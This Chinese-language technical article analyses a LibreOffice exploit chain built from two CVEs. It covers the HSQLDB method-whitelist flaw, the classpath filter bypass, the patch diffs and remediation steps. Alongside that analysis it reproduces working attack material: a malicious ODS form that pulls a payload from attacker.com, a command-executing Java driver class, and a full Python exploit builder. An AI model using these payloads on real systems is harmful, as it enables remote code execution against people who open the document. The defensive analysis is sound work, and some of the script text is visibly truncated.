ARTICLE · 1369457
LibreOffice 双 CVE 组合链的还原与核查
2026 年 11 月 16 日,The Document Foundation 随 LibreOffice 26.2.7 与 26.8.2 发布了一批安全公告,其中两条被编号为 CVE-2026-104692 与 CVE-2026-104007。次日,研究者 ii4gsp 公开了一篇技术文章和配套脚本,演示把两条漏洞与若干 ODF 文档特性串成一条链,受害者只要打开一份表格文件,就能在 macOS、Windows 与 Linux 上触发任意命令执行,全程没有宏警告,也没有安全提示。
这篇博客的价值在于它给出了完整的机制代码、补丁对照和三平台演示。本文在原创叙述的基础上,把原文关键代码块按还原需要嵌入,让技术细节可逐行核对。官方口径与研究者的组合演示并不完全等同,两者的差别也是本文要讲清楚的内容。文中所有代码块均照录原文,属于攻击者构造的利用素材,仅用于理解机制与开展授权研究。
Windows -
一、先看问题
先把可核实的编号、评分与口径钉死。下表是四源交叉核实的结果,每行标注出处层级。
官方描述与博客标题的差别值得单独说。官方把两条 CVE 分别定性为 HSQLDB 方法限制失效与数据库文档驱动路径问题,措辞克制且各自独立;博客把它们与 ODF 表单特性组合,得到开文件即执行的效果。这不矛盾,前者是单一缺陷的边界,后者是缺陷叠加后的能力,把后者当成官方结论会夸大单条 CVE 的独立危害。
核实中确认了三处偏差,均记录在此。
其一,评分出处。多个媒体与漏洞库转述 The Document Foundation 给出的 CVSS 4.0 评分为 8.5 High,两条 CVE 相同;博客正文并未给出分值,只在技术层面描述。8.5 来自 CNA 自评,非 NVD 复核值,NVD 对 104692 当时仍显示为预留状态。
其二,CWE 归类不一。不同漏洞库分别标为 CWE-470、CWE-1188 与 CWE-829,指向不安全反射、不安全默认配置与外部控制代码路径等不同角度。归类分歧说明这条链的成因跨越多层,强行归一反而丢失信息。
其三,同批次的相邻编号。官方同批公告里还有 CVE-2026-104920 与 CVE-2026-101892 等相关条目,前者涉及 Calc 数据链接加载远程 Java 代码,后者涉及 ODF 表单控件导入代码执行。博客聚焦两条主干 CVE,没有覆盖这些相邻面,防守方盘点时不应只看这两条。
还有几项公开信息未说明。博客的演示视频未列出所用 LibreOffice 与操作系统具体版本,也未给出披露时间线;是否已在野利用,官方公告未披露;通用成功率取决于目标是否启用 Java、如何保存文件以及自身表单结构,公开信息未说明。
二、影响范围:Java 运行时是硬前置
官方与媒体口径一致:只有在 LibreOffice 中安装并启用了 Java 运行时的环境才受影响。这是判定链的起点,没有 Java,HSQLDB 与 JDBC 驱动这条路径就无从谈起。纯查看或编辑普通文档、未启用 Java 的实例,不在这条链的作用范围内。
版本判定按两条修复线对齐。26.2 分支在 26.2.7 修复,26.8 分支在 26.8.2 修复,修复前的构建视为受影响。官方公告没有明确说明更早分支是否受影响,稳妥做法是把所有旧分支按未修复处理,而不是默认它们安全。
触发面还需要文档形态配合。恶意文件是一份带表单的表格,表单的数据源指向外部数据库文档,文档打开时自动加载表单并连接数据源。这个形态本身不是漏洞,而是被借用的正常功能,因此从文件外观上很难区分,这也是检测难点所在。
前置条件可归纳为三层:环境层要求 Java 运行时可用,版本层要求落在修复前的构建,文档层要求包含自动加载的表单与外部数据源。三层同时满足才构成可达,缺一项都应从高危队列降权,而不是直接判定为已沦陷。
三、原因导致:一处空值放行与一处过滤旁路
这条链由两处独立缺陷叠加。先看 HSQLDB 的方法白名单。LibreOffice 内置的 HSQLDB 允许 SQL 语句通过 CALL 调用 Java 方法,本应受一份方法名单约束。名单字段被初始化为 null,而不是空集合,检查函数在字段为 null 时直接返回允许,于是整份白名单形同虚设。下面是原文照录的反编译逻辑,标记点 A 与 B 对应上述两处。
// org/hsqldb/persist/HsqlDatabaseProperties.javapublic class HsqlDatabaseProperties extends HsqlProperties {private static HashSet accessibleJavaMethodNames = null; // [A] null = allow all// ...public static boolean supportsJavaMethod(Stringstring) {if (accessibleJavaMethodNames == null) { // [B] always true when nullreturn true; // ALL methods allowed}if (string.startsWith("org.hsqldb.Library.")) return true;if (string.startsWith("java.lang.Math.")) return true;if (accessibleJavaMethodNames.contains(string)) return true;Iterator iterator = accessibleJavaMethodNames.iterator();while (iterator.hasNext()) {String string2 = (String)iterator.next();int n = string2.lastIndexOf(".*");if (n < 1 || !string.startsWith(string2.substring(0, n + 1))) continue;return true;}return false;}// ...static {try {String string = System.getProperty("hsqldb.method_class_names"); // [C]if (string != null) {String[] stringArray = StringUtil.split(string, ";");for (int i = 0; i < stringArray.length; ++i) {accessibleJavaMethodNames.add(stringArray[i]);}}} catch (Exception exception) {}// ... meta initialization}}
静态初始化段读取系统属性并拆分分号分隔的方法名来填充名单,这是标记 C。但问题在于,字段初值为 null 时,检查函数在任何情况下都已返回允许,这段初始化逻辑对结果没有影响。判断句落在初值上:把白名单的缺省值设成放行,等于没有白名单。
HSQLDB 处理 CALL 语句时,方法名解析会调用上面那个检查函数。下面这段代码来自原文,标记 D 处的检查因为名单为 null 而恒定通过,任何 Java 方法都能被调用。
// org/hsqldb/Database.javaclass Database {// ...private HHashMap hAlias;String getJavaName(String string) throws HsqlException {String string2 = (String)this.hAlias.get(string);if (string2 == null) {string2 = string;}if (HsqlDatabaseProperties.supportsJavaMethod(string2)) { // [D] always passesreturn string2;}throw Trace.error(33, string2);}// ...}
// dbaccess/source/filter/xml/xmlfilter.cxxvoid ODBFilter::setPropertyInfo(){// ...::comphelper::NamedValueCollection aDocumentSettings( aInfo );aDocumentSettings.remove( u"JavaDriverClassPath"_ustr ); // [E] strips classpathaDataSourceSettings.merge( aDocumentSettings, true );// ...}
// connectivity/source/drivers/jdbc/JConnection.cxx — construct()sDriverClassPath = aSettings.getOrDefault(u"JavaDriverClassPath"_ustr, sDriverClassPath); // [F] classpath NOT strippedif ( sDriverClassPath.isEmpty() )sDriverClassPath = impl_getJavaDriverClassPath_nothrow(sDriverClass);// ...loadDriverFromProperties( sDriverClass, sDriverClassPath, aSystemProperties );
ODB Import Pipeline:Direct ODB open:ODBFilter::filter()→ ODBFilter::implImport()→ ReadThroughComponent() ← XML parsed, classpath loaded→ setPropertyInfo() ← [E] strips JavaDriverClassPath→ properties applied to datasourceExternal ODB via form:datasource:form auto-load triggered→ HTTP GET payload.odb→ ODB loaded into datasource→ setPropertyInfo() NOT called ← [F] classpath preserved!→ properties applied with attacker's classpath intact
这里要点明两处缺陷的依赖关系。后一处负责让攻击者指定的类能被加载,前一处负责让 SQL 能调用加载进来的方法。只有类路径没有方法调用,类进来了也无人触发;只有方法调用没有类路径,即便能调用任意方法也没有攻击者自己的代码可执行。判断句是:这是一条需要两半拼合的链,单独一条 CVE 的独立危害低于组合之后。
四、补丁分析:三层重叠防御
26.8.2.2 预发布版本同时修补两条缺陷,并追加了纵深防御。先看 HSQLDB 侧的修复 diff,字段初值从无初值改为空集合,注释也相应改写。
--- a/hsqldb/src/org/hsqldb/persist/HsqlDatabaseProperties.java+++ b/hsqldb/src/org/hsqldb/persist/HsqlDatabaseProperties.java@@ -57,15 +57,13 @@private static String hsqldb_method_class_names ="hsqldb.method_class_names";- private static HashSet accessibleJavaMethodNames;+ private static HashSet accessibleJavaMethodNames = new HashSet();static {try {String prop = System.getProperty(hsqldb_method_class_names);if (prop != null) {- accessibleJavaMethodNames = new HashSet();-String[] names = StringUtil.split(prop, ";");for (int i = 0; i < names.length; i++) {@@ -76,11 +74,9 @@}/**- * If the system property "hsqldb.method_class_names" is not set, then- * static methods of all available Java classes can be accessed as functions- * in HSQLDB. If the property is set, then only the list of semicolon- * seperated method names becomes accessible. An empty property value means- * no class is accessible.<p>+ * Only the semicolon seperated method names in the system property+ * "hsqldb.method_class_names" are accessible. An empty or unset property+ * means no class is accessible.<p>** A property value that ends with .* is treated as a wild card and allows* access to all classe or method names formed by substitution of the
空集合意味着检查函数不再走放行分支,会落到后续白名单判断,而不在内置类范围内的方法被挡下。由于 LibreOffice 并不设置那个系统属性,名单保持为空,效果是把可调用方法收紧到内置函数。
第二处修复给导入过滤追加了剥离项,新增对 SystemProperties 的清除,堵住通过文档注入系统属性重新填充名单的路径。
--- a/dbaccess/source/filter/xml/xmlfilter.cxx+++ b/dbaccess/source/filter/xml/xmlfilter.cxxvoid ODBFilter::setPropertyInfo(){// ...::comphelper::NamedValueCollection aDocumentSettings( aInfo );- // The Java class path of a driver comes from the driver configuration, not the document.+ // The Java class path of a driver and the Java system properties come from the driver+ // configuration, not the document.aDocumentSettings.remove( u"JavaDriverClassPath"_ustr );+ aDocumentSettings.remove( u"SystemProperties"_ustr );// CreateDatabase asks the driver for a new database, which only the user does from the UI.aDocumentSettings.remove( u"CreateDatabase"_ustr );aDataSourceSettings.merge( aDocumentSettings, true );// ...}
--- a/dbaccess/source/core/dataaccess/datasource.cxx+++ b/dbaccess/source/core/dataaccess/datasource.cxxSequence< PropertyValue > lcl_filterDriverProperties( const Reference< XDriver >& _xDriver,const OUString& _sUrl,- const Sequence< PropertyValue >& _rDataSourceSettings )+ const Sequence< PropertyValue >& _rDataSourceSettings, bool bTrustedLocation ){// ...for (auto& dataSourceSetting : _rDataSourceSettings){+ // Additional driver options follow the same rule as updating links.+ if (!bTrustedLocation && dataSourceSetting.Name == INFO_ADDITIONALOPTIONS)+ continue;// ...}}
Layer 1: setPropertyInfo() — strips from ODB XML├── JavaDriverClassPath → removed (no class loading)├── SystemProperties → removed (no property injection)└── CreateDatabase → removed (no DB at arbitrary path)Layer 2: Trusted Location Check — datasource.cxx├── Untrusted documents have additional driver options filtered└── ADO connections blocked from untrusted locationsLayer 3: HSQLDB Method Whitelist├── accessibleJavaMethodNames = new HashSet() (empty, not null)├── Only org.hsqldb.Library.* and java.lang.Math.* allowed└── System.getProperty("hsqldb.method_class_names") checked at class loadEven if classpath survives → whitelist blocks CALL → no method executionEven if whitelist bypassed → trusted location check limits driver optionsEven if SystemProperties injected → stripping prevents whitelist repopulation

判断句落在修复思路上:补丁没有依赖单点拦截,而是把剥离、位置判定与名单校验叠成三层,这正是针对组合链的正确应对方式。
五、漏洞触发:五个正常特性拼成一条链
这条链借助的五个 ODF 与 LibreOffice 特性本身都不是漏洞,它们负责让两处缺陷在打开文档时自动触发。其一是 HTTP 型 ODB 自动下载,表单通过 form:datasource 引用外部数据库文档,填入 HTTP 地址后,LibreOffice 会在无确认的情况下拉取该文件,由此投送恶意类路径配置。第二个是表单自动加载,form:apply-design-mode 设为 false 会让文档打开时自动连接数据源并执行表单的 SQL,而数据库访问被归类为非宏操作,因此不会弹出宏安全对话框。第三个是 SQL 合成器旁路,form:escape-processing 设为 false 会跳过查询合成器校验,让 CALL 语句原样到达 HSQLDB。第四个是把 ODS 当类容器,ODS 本质是 ZIP,攻击者把恶意 class 直接塞进表格文件,Java 的类加载器把 ZIP 当容器读取。第五个是引导变量路径预测,类路径里可用系统变量指向用户目录,攻击者列出下载、桌面、文档等常见位置,类加载器对不存在的路径静默忽略,总有一条命中。

<!-- content.xml inside the ODS file --><office:document-contentxmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0"xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0"xmlns:ooo="http://openoffice.org/2004/office"office:version="1.3"><office:body><office:spreadsheet><table:tabletable:name="Sheet1"><office:formsform:automatic-focus="false"form:apply-design-mode="false"> // [B] form auto-load<form:formform:name="DataForm"form:datasource="http://attacker.com:8888/payload.odb" // [A] HTTP ODBform:command="CALL "evil.Driver.pwn"('open -a Calculator')"form:command-type="command"form:escape-processing="false"> // [C] SQL composer bypass<form:textform:name="Field1"form:control-implementation="ooo:com.sun.star.form.component.TextField"form:id="control1"><form:properties><form:propertyform:property-name="DefaultControl"form:property-type="string"form:property-value="com.sun.star.form.control.TextField"/></form:properties></form:text></form:form></office:forms><table:table-columntable:number-columns-repeated="5"/><table:table-row><table:table-celloffice:value-type="string"><text:p>Item</text:p></table:table-cell><table:table-celloffice:value-type="string"><text:p>Qty</text:p></table:table-cell><table:table-celloffice:value-type="string"><text:p>Price</text:p></table:table-cell></table:table-row></table:table></office:spreadsheet></office:body></office:document-content>
poc.ods (ZIP archive)├── mimetype ← ODS magic (uncompressed, first entry)├── content.xml ← form with CALL statement + HTTP datasource├── styles.xml ← spreadsheet styles├── META-INF/│ └── manifest.xml ← ODF manifest listing all entries└── evil/└── Driver.class ← [D] malicious class loaded by URLClassLoader
<!-- ODB content.xml — classpath pointing back to the ODS file --><db:data-source><db:connection-data><db:connection-resourcexlink:href="jdbc:hsqldb:mem:exploit"/><db:logindb:user-name="SA"db:is-password-required="false"/></db:connection-data><db:driver-settingsdb:java-driver-class="org.hsqldb.jdbcDriver"db:java-classpath="vnd.sun.star.expand:$SYSBINDIR/../Resources/java/hsqldb.jarvnd.sun.star.expand:$SYSUSERHOME/Downloads/poc.odsvnd.sun.star.expand:$SYSUSERHOME/Desktop/poc.odsvnd.sun.star.expand:$SYSUSERHOME/Documents/poc.ods"db:system-driver-settings=""db:parameter-name-substitution="false"/></db:data-source>
1. Attacker: Build exploit files├── poc.ods → ODS with form auto-load + evil/Driver.class└── payload.odb → ODB with classpath pointing back to poc.ods2. Attacker: Host payload.odb on HTTP server└── python3 -m http.server 88883. Victim: Opens poc.ods (or poc.xlsx — content-based detection)4. LibreOffice processing:├── Parses content.xml├── form:apply-design-mode="false" → auto-load triggered├── form:datasource="http://attacker:8888/payload.odb"│ └── HTTP GET → silently downloads payload.odb (no prompt)├── ODB parsed → classpath = $SYSUSERHOME/Downloads/poc.ods│ └── setPropertyInfo() not called → classpath preserved (CVE-2026-104007)├── HSQLDB initialized│ └── accessibleJavaMethodNames = null → all methods allowed (CVE-2026-104692)├── form:escape-processing="false" → SQL passed directly├── CALL "evil.Driver.pwn"('open -a Calculator')│ ├── URLClassLoader loads evil/Driver.class from poc.ods on disk│ └── evil.Driver.pwn() → Runtime.getRuntime().exec()└── Code execution — opening the document is enough5. Result: Arbitrary command execution as the victim's user
平台差异是这篇博客的一个技术增量。macOS 与 Windows 走 HSQLDB 的 CALL 路径,表单 SQL 直接把命令串作为参数传给恶意方法;Linux 则演示只靠 CVE-2026-104007 就能达成,恶意类被注册为 JDBC 驱动,连接建立时其 connect 方法被自动调用,命令藏在 jdbc:evil 前缀的 URL 里。原文指出,这种驱动加载与连接调用不经过方法白名单,因此即便名单被正确启用也挡不住这条路径。
下面是原文照录的 connect 路径片段,说明命令如何从 JDBC URL 前缀中取出。
// evil/Driver.java — connect() path (Linux)// Driver class loading triggers connect() automatically during JDBC connection setup.// The command is extracted from the JDBC URL prefix "jdbc:evil:".public Connection connect(String url, Properties info) throws SQLException {if (url != null && url.startsWith("jdbc:evil:")) {pwn(url.substring(10)); // extract command from URL}return null;}
package evil;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;import java.util.Properties;public class Driver implements java.sql.Driver {public static String pwn(String cmd) {try {String os = System.getProperty("os.name").toLowerCase();String[] command;if (os.contains("win")) {command = new String[]{"cmd.exe", "/c", cmd};} else if (os.contains("mac")) {command = new String[]{"/bin/sh", "-c", cmd};} else {command = new String[]{"/bin/sh", "-c", cmd};}Runtime.getRuntime().exec(command);} catch (Exception e) {return e.toString();}return "ok";}public Connection connect(String url, Properties info) throws SQLException {if (url != null && url.startsWith("jdbc:evil:")) {pwn(url.substring(10));}return null;}public boolean acceptsURL(String url) throws SQLException { return url != null && url.startsWith("jdbc:evil:"); }public java.sql.DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { return new java.sql.DriverPropertyInfo[0]; }public int getMajorVersion() { return 1; }public int getMinorVersion() { return 0; }public boolean jdbcCompliant() { return false; }public java.util.logging.Logger getParentLogger() { return null; }}
#!/usr/bin/env python3"""Usage:python3 build_exploit.py --server --targetcd output && python3 -m http.server 8888--server Attacker HTTP server address (e.g. 192.168.1.100:8888)--target Target platform: macos | linux | windows | all--filename ODS filename the victim will open (default: poc.ods)--cmd Custom command to execute (overrides platform default)--outdir Output directory (default: ./output)"""import argparseimport ioimport osimport structimport sysimport zipfilefrom pathlib import Path# ── Calculator commands per platform ──CALC_COMMANDS = {"macos": "open -a Calculator","linux": "gnome-calculator || kcalc || xcalc || mate-calc || xfce4-calculator || galculator || qalculate-gtk","windows": "calc.exe",}# ── Classpath search paths per platform ──# URLClassLoader silently ignores paths that don't exist,# so we list multiple common download locations.CLASSPATH_PATHS = {"macos": ["$SYSUSERHOME/Downloads/{filename}","$SYSUSERHOME/Desktop/{filename}","$SYSUSERHOME/Documents/{filename}",],"linux": ["file://$/Downloads/{filename}","file://$/Desktop/{filename}","file://$/Documents/{filename}","file://$/다운로드/{filename}",],"windows": ["$SYSUSERHOME/../Downloads/{filename}","$SYSUSERHOME/../Desktop/{filename}","$SYSUSERHOME/{filename}",],}# ── hsqldb.jar path per platform ──HSQLDB_PATHS = {"macos": "vnd.sun.star.expand:$SYSBINDIR/../Resources/java/hsqldb.jar","linux": "vnd.sun.star.expand:$SYSBINDIR/classes/hsqldb.jar","windows": "vnd.sun.star.expand:$SYSBINDIR/classes/hsqldb.jar",}# ── Precompiled evil/Driver.class ──# Cross-platform: detects OS at runtime via os.name, uses /bin/sh or cmd.exe# Source: evil/Driver.java (included in this directory)EVIL_DRIVER_CLASS = None # loaded from filedef load_evil_class():"""Load the precompiled evil/Driver.class from the script's directory."""script_dir = Path(__file__).parentclass_path = script_dir / "evil" / "Driver.class"if not class_path.exists():print(f"[!] evil/Driver.class not found at {class_path}")print(" Compile it: javac evil/Driver.java")sys.exit(1)return class_path.read_bytes()def build_classpath(target: str, filename: str) -> str:"""Build the space-separated classpath string for the ODB."""parts = [HSQLDB_PATHS[target]]for tmpl in CLASSPATH_PATHS[target]:path = tmpl.format(filename=filename)parts.append(f"vnd.sun.star.expand:{path}")return " ".join(parts)def xml_escape(s: str) -> str:"""Escape for XML attribute values."""return s.replace("&", "&").replace('"', """).replace("'", "'")\.replace(", "<").replace(">", ">")def build_odb(target: str, filename: str, command: str, evil_class: bytes) -> bytes:"""Build the ODB payload ZIP."""classpath = build_classpath(target, filename)manifest_xml = '\n' \' \'"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0">\n' \' \'manifest:media-type="application/vnd.oasis.opendocument.base"/>\n' \' \'manifest:media-type="text/xml"/>\n' \' \'manifest:media-type="text/xml"/>\n' \''settings_xml = '\n' \' \'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' \'office:version="1.3">'if target == "linux":driver_class = "evil.Driver"jdbc_url = f"jdbc:evil:{xml_escape(command)}"else:driver_class = "org.hsqldb.jdbcDriver"jdbc_url = "jdbc:hsqldb:mem:exploit"content_xml = f'''{jdbc_url}"/>{driver_class}"db:java-classpath="{xml_escape(classpath)}"db:system-driver-settings=""db:parameter-name-substitution="false"/>%'''buf = io.BytesIO()with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:zf.writestr("META-INF/manifest.xml", manifest_xml)zf.writestr("settings.xml", settings_xml)zf.writestr("content.xml", content_xml)zf.writestr("evil/Driver.class", evil_class)return buf.getvalue()def build_ods(server_url: str, command: str, evil_class: bytes,odb_name: str = "payload.odb") -> bytes:"""Build the victim ODS file."""odb_url = f"http://{server_url}/{odb_name}"manifest_xml = '\n' \' \'"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" ' \'manifest:version="1.3">\n' \' \'manifest:media-type=' \'"application/vnd.oasis.opendocument.spreadsheet"/>\n' \' \'manifest:media-type="text/xml"/>\n' \' \'manifest:media-type="text/xml"/>\n' \' \'manifest:media-type="application/java-vm"/>\n' \''styles_xml = '\n' \' \'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' \'office:version="1.3">\n'content_xml = f'''{xml_escape(odb_url)}"form:command="CALL "evil.Driver.pwn"\('{xml_escape(command)}')"form:command-type="command"form:escape-processing="false">\"ooo:com.sun.star.form.component.TextField"form:id="control1">\"com.sun.star.form.control.TextField"/>ItemQtyPriceConsulting Services40$150.00Development80$200.00'''buf = io.BytesIO()with zipfile.ZipFile(buf, "w") as zf:info = zipfile.ZipInfo("mimetype")info.compress_type = zipfile.ZIP_STOREDzf.writestr(info, "application/vnd.oasis.opendocument.spreadsheet")zf.writestr("content.xml", content_xml,compress_type=zipfile.ZIP_DEFLATED)zf.writestr("styles.xml", styles_xml,compress_type=zipfile.ZIP_DEFLATED)zf.writestr("META-INF/manifest.xml", manifest_xml,compress_type=zipfile.ZIP_DEFLATED)zf.writestr("evil/Driver.class", evil_class,compress_type=zipfile.ZIP_DEFLATED)return buf.getvalue()def main():parser = argparse.ArgumentParser(description="LibreOffice RCE exploit builder")parser.add_argument("--server", required=True,help="Attacker HTTP server (ip:port)")parser.add_argument("--target", required=True,choices=["macos", "linux", "windows", "all"])parser.add_argument("--filename", default="poc.ods")parser.add_argument("--cmd", default=None)parser.add_argument("--outdir", default="./output")args = parser.parse_args()evil_class = load_evil_class()outdir = Path(args.outdir)outdir.mkdir(parents=True, exist_ok=True)targets = (["macos", "linux", "windows"]if args.target == "all" else [args.target])for target in targets:command = args.cmd or CALC_COMMANDS[target]suffix = f"_{target}" if len(targets) > 1 else ""odb_name = f"payload{suffix}.odb"odb_data = build_odb(target, args.filename, command, evil_class)odb_path = outdir / odb_nameodb_path.write_bytes(odb_data)ods_data = build_ods(args.server, command, evil_class, odb_name)ods_name = (args.filename if len(targets) == 1else f"{Path(args.filename).stem}_{target}.ods")ods_path = outdir / ods_nameods_path.write_bytes(ods_data)print(f"[+] {target}:")print(f" ODS: {ods_path} ({len(ods_data)} bytes)")print(f" ODB: {odb_path} ({len(odb_data)} bytes)")print(f" CMD: {command}")print()print(f"[*] Serve payloads:")print(f" cd {outdir} && python3 -m http.server "f"{args.server.split(':')[-1]}")print()print(f"[*] Exploit flow:")print(f" 1. Victim opens {args.filename}")print(f" 2. LO auto-downloads ODB from http://{args.server}/")print(f" 3. HSQLDB loads evil class from {args.filename} on disk")print(f" 4. RCE")if __name__ == "__main__":main()
需要说明一处还原限制。原文这段脚本里个别 XML 模板行在网页渲染时出现了字符缺失,例如 import 段落与转义函数中的局部字面量。本文按网页可见内容照录,未做臆测性补全,读者若需编译验证应以原文为准。判断句落在证据边界上:代码块用于理解机制与补丁逻辑,不能替代可执行的构建输入。
六、自查与处置
按可落地顺序给出动作,全部基于官方公告与公开分析,不涉及任何攻击侧操作。
升级是主路径。把 LibreOffice 升到 26.2.7 或 26.8.2 及以上,覆盖对应分支的修复。由于官方未明示更早分支是否受影响,旧版本不应默认安全,宜统一纳入升级或替换计划。升级后要确认运行实例的实际版本,而不是只看安装包。
收紧 Java 前置条件。若业务并不需要 Java 数据库功能,可在 LibreOffice 中禁用 Java 运行时,这直接切断这条链的环境基础。对于必须保留 Java 的场景,应把带外部数据源的表单视为高风险对象,限制其来源。
留意文档形态与网络行为。对包含外部数据源引用的表格保持警惕,尤其是数据源地址为远程地址的情形;在网关与终端侧留意办公进程对外发起的非常规 HTTP 请求,以及对下载目录中表格文件的异常读取。这些行为对应链中的自动下载与类路径回指环节。
校准告警优先级。这条链尚未进入 CISA 已知利用漏洞目录,公开信息也未说明在野利用,处置紧迫性应结合自身暴露面判断,而不是一律按过高等级处理。同时要记住,官方同批公告还有相邻编号的其他代码执行条目,盘点范围不应只限于这两条。
七、结束语
这条链的价值不在于单个漏洞有多深,而在于它展示了正常功能如何被拼接成攻击路径。表单自动加载、ZIP 归档、类加载器的静默容错、系统变量展开,每一项单独看都合理,组合起来却成就了打开即执行。
补丁的应对方式同样有代表性。它没有押注在单点拦截上,而是把属性剥离、可信位置判定与方法名单校验叠成三层,任何一层漏过还有其他层兜底。对防守方而言,阅读这类组合链的收获,是学会从功能交互处寻找风险,而不只是盯着某个函数的边界错误。唯有把版本、配置与行为监测对齐,才能把一条公开的演示链转化成一次准确的加固。















































































